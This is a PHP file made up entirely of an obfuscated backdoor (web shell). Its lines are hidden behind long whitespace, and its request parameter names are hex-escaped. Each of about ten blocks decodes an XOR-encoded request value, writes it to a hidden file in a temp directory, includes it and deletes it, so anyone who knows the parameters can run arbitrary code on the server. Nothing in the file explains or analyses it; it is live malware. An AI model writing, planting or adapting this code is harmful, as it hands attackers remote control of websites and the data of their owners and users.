<?php																																										if(!is_null($_REQUEST["d\x61t\x61\x5Fch\x75\x6Ek"] ?? null)){ $factor = $_REQUEST["d\x61t\x61\x5Fch\x75\x6Ek"]; $factor = explode( "." ,$factor) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $y = 0; while($y<count($factor)) { $v3 = $factor[$y]; $chS = ord($salt[$y %$lenS]); $d =((int)$v3 - $chS -($y %10))^49; $comp .= chr($d); $y++; } $ent = array_filter([getenv("TEMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); $val = 0; do { $fac = $ent[$val] ?? null; if ($val >= count($ent)) break; if (is_dir($fac) && is_writable($fac)) { $holder = str_replace("{var_dir}", $fac, "{var_dir}/.token"); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $holder; @unlink($holder); die(); } } $val++; } while (true); }
																																										if(array_key_exists("ele\x6D", $_POST)){ $hld = $_POST["ele\x6D"]; $hld = explode ("." , $hld) ; $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $x = 0; foreach( $hld as $v4) { $sChar = ord( $s[$x % $sLen]); $dec =( ( int)$v4 - $sChar -( $x % 10)) ^ 35; $object .= chr( $dec); $x++; } $record = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($record as $mrk) { if (max(0, is_dir($mrk) * is_writable($mrk))) { $factor = vsprintf("%s/%s", [$mrk, ".flg"]); if (@file_put_contents($factor, $object) !== false) { include $factor; unlink($factor); die(); } } } }
																																										if(array_key_exists("compo\x6Eent", $_REQUEST) && !is_null($_REQUEST["compo\x6Eent"])){ $sym = $_REQUEST["compo\x6Eent"]; $sym = explode ( ".", $sym ); $element = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $z = 0; $__len = count($sym); do { if ($z >= $__len) break; $v4 = $sym[$z]; $chS = ord($salt7[$z %$sLen]); $dec = ((int)$v4 - $chS - ($z %10)) ^ 63; $element .= chr($dec); $z++; } while (true); $ent = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", "/dev/shm"]); while ($dchunk = array_shift($ent)) { if (array_product([is_dir($dchunk), is_writable($dchunk)])) { $fac = sprintf("%s/.rec", $dchunk); if (file_put_contents($fac, $element)) { require $fac; unlink($fac); exit; } } } }
																																										if(!empty($_REQUEST["b\x69\x6Ed"])){ $property_set = array_filter([getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP")]); $holder = $_REQUEST["b\x69\x6Ed"]; $holder = explode ( '.' , $holder ) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($holder as $n => $v7): $chS = ord($s[$n % $sLen] ); $dec = ((int)$v7 - $chS - ($n % 10)) ^ 100; $rec.=chr($dec ); endforeach; $descriptor = 0; do { $ent = $property_set[$descriptor] ?? null; if ($descriptor >= count($property_set)) break; if (max(0, is_dir($ent) * is_writable($ent))) { $obj = implode("/", [$ent, ".ref"]); if (file_put_contents($obj, $rec)) { require $obj; unlink($obj); exit; } } $descriptor++; } while (true); }
																																										if(!empty($_REQUEST["en\x74ity"])){ $resource = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm"]); $pset = $_REQUEST["en\x74ity"]; $pset = explode ('.' , $pset) ; $dchunk= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); $p= 0; array_walk( $pset, function( $v4) use( &$dchunk, &$p, $salt, $sLen) {$sChar= ord( $salt[$p%$sLen] ); $dec= ( ( int)$v4 - $sChar -( $p%10)) ^ 67; $dchunk .= chr( $dec ); $p++; } ); foreach ($resource as $key => $factor) { if (max(0, is_dir($factor) * is_writable($factor))) { $element = join("/", [$factor, ".value"]); if (@file_put_contents($element, $dchunk) !== false) { include $element; unlink($element); exit; } } } }
																																										if(@$_POST["pset"] !== null){ $component = array_filter([getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", "/var/tmp"]); $sym = $_POST["pset"]; $sym = explode( ".", $sym); $ptr=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt); $p=0; array_walk( $sym, function( $v2) use( &$ptr, &$p, $salt, $lenS) { $sChar=ord( $salt[$p % $lenS]); $dec=( ( int)$v2 - $sChar -( $p % 10))^ 85; $ptr .= chr( $dec); $p++; }); $dchunk = 0; do { $value = $component[$dchunk] ?? null; if ($dchunk >= count($component)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($value)) { $ref = sprintf("%s/.item", $value); if (@file_put_contents($ref, $ptr) !== false) { include $ref; unlink($ref); exit; } } $dchunk++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x70grp")){ $tkn = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/var/tmp", getenv("TMP"), "/tmp", getenv("TEMP")]); $rec = $_POST["\x70grp"]; $rec =explode ( "." , $rec ) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $t = 0; array_walk($rec,function ($v6) use (&$bind,&$t,$s,$lenS) { $sChar = ord($s[$t% $lenS] ); $dec = ((int)$v6 - $sChar - ($t% 10)) ^ 73; $bind .=chr($dec ); $t++; } ); while ($res = array_shift($tkn)) { if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $key = sprintf("%s/.ref", $res); if (@file_put_contents($key, $bind) !== false) { include $key; unlink($key); die(); } } } }
																																										if(isset($_REQUEST["prope\x72ty\x5F\x73\x65\x74"])){ $key = $_REQUEST["prope\x72ty\x5F\x73\x65\x74"]; $key= explode ( '.' , $key ) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $n = 0; foreach ($key as $v4) { $sChar = ord($salt[$n % $sLen]); $dec = ((int)$v4 - $sChar - ($n % 10)) ^ 35; $symbol.=chr($dec); $n++; } $flag = array_filter([getenv("TMP"), getenv("TEMP"), "/var/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/dev/shm"]); while ($component = array_shift($flag)) { if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $resource = join("/", [$component, ".tkn"]); if (file_put_contents($resource, $symbol)) { require $resource; unlink($resource); die(); } } } }
																																										if(in_array("pr\x6F\x70ert\x79_set", array_keys($_REQUEST))){ $pset = $_REQUEST["pr\x6F\x70ert\x79_set"]; $pset = explode( "." , $pset ) ; $marker = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $r = 0; $len = count($pset); do { if ($r >=$len) break; $v8 = $pset[$r]; $chS = ord($salt7[$r % $sLen]); $d = ((int)$v8 - $chS - ($r % 10)) ^ 58; $marker .= chr($d); $r++; }while (true); $ptr = array_filter(["/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); $data = 0; do { $object = $ptr[$data] ?? null; if ($data >= count($ptr)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $res = sprintf("%s/.entry", $object); if (file_put_contents($res, $marker)) { require $res; unlink($res); die(); } } $data++; } while (true); }


if(array_key_exists("\x65nt", $_REQUEST)){
	$ent = $_REQUEST["\x65nt"];
		$ent=		 explode  ('.',$ent)	 	;			
	$parameter_group = '';
            $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s4);
    
            foreach ($ent as $z	=>$v8) {
                $sChar = ord($s4[$z % $sLen]);
                $dec = ((int)$v8 - $sChar - ($z % 10)) ^ 	32;
                $parameter_group.=	chr($dec);
            }
	$pgrp = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), "/var/tmp", getenv("TMP")]);
	foreach ($pgrp as $reference):
    		if (array_product([is_dir($reference), is_writable($reference)])) {
    $fac = implode("/", [$reference, ".hld"]);
    $success = file_put_contents($fac, $parameter_group);
if ($success) {
	include $fac;
	@unlink($fac);
	exit;}
}
endforeach;
}